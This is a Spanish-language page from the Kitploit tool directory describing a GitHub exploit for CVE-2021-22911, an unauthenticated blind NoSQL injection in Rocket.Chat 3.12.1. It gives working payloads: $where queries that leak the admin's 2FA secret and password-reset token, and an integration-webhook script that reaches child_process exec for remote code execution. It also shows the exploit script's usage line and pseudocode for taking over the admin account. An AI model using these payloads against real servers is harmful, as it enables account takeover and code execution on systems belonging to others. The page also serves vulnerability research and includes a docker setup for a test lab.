Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-22911 — Inyección NoSQL ciega sin autenticación previa que conduce a ejecución remota de código en Rocket Chat 3.12.1 | Kitploit
Herramientas/GitHubGitHub/csenox/cve-2021-22911
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónHerramienta de Acceso Remoto
GitHubcsenox/cve-2021-22911

CVE-2021-22911

Inyección NoSQL ciega sin autenticación previa que conduce a ejecución remota de código en Rocket Chat 3.12.1

Ver Repositorio
618hace 3 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-22911

Inyección NoSQL ciega sin autenticación previa que conduce a ejecución remota de código en Rocket Chat 3.12.1

  • El método getPasswordPolicy es vulnerable a ataques de inyección NoSQL y no requiere autenticación/autorización. Puede utilizarse para tomar el control de cuentas filtrando los tokens de restablecimiento de contraseña. Tomar el control de una cuenta de administrador conduce a la ejecución remota de código.

Explicación

  1. Secuestro de la cuenta del usuario (sin autenticación)
  • Hay inyección NoSQL en el endpoint getPasswordPolicy en el parámetro token del restablecimiento de contraseña, que acepta un objeto JSON permitiéndonos usar el operador $regex. Lo usamos para realizar una inyección NoSQL ciega y obtener el token de restablecimiento.
  1. Escalada de privilegios a administrador (autenticado)
  • Es muy probable que el usuario administrador esté protegido con 2FA. Así que incluso si cambiamos la contraseña del administrador mediante (1), al iniciar sesión se pedirá el código 2FA.

  • El endpoint de la API users.list acepta un parámetro de consulta que es vulnerable a inyección NoSQL. También podemos recuperar datos lanzando un error.

  • Ejecutamos la siguiente consulta para obtener el secreto 2FA del administrador : {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • A continuación, solo hacemos (1) para restablecer la contraseña del administrador y usamos el secreto 2FA para generar el código que podemos usar para iniciar sesión.

  • Actualizado : También puedes recuperar el token de restablecimiento de la misma manera en que recuperaste el secreto 2FA : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (autenticado - administrador)
  • Rocket.Chat tiene una función llamada Integrations que permite crear webhooks de entrada y salida. Estos webhooks pueden tener scripts asociados que se ejecutan cuando se activa el webhook.
  • Creamos una integración con el siguiente script :
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • A continuación, solo tenemos que activar el webhook para obtener RCE :)

Uso

  • Necesitarás el correo electrónico de un usuario con bajos privilegios que no tenga 2FA configurado. ( -u )
  • También necesitarás conocer el correo electrónico del administrador. No es un problema si el administrador está protegido con 2FA. ( -a )
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

Entorno

  • Probado en Rocket Chat 3.12.1
  • Construyendo tu propio entorno de prueba con docker :
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1
  • Habilitar la política de contraseñas
  • Habilitar 2FA para el administrador
  • Registrar un usuario normal

NOTA: Si no quieres que el administrador esté protegido con 2FA, puedes hacer lo siguiente.

  1. Enviar el correo de contraseña olvidada
  2. Obtener el token de restablecimiento para el administrador
  3. Cambiar la contraseña usando el token de restablecimiento obtenido
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

Créditos

  • https://hackerone.com/reports/1130721 ( fuente de SonarSource )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
Descargar herramienta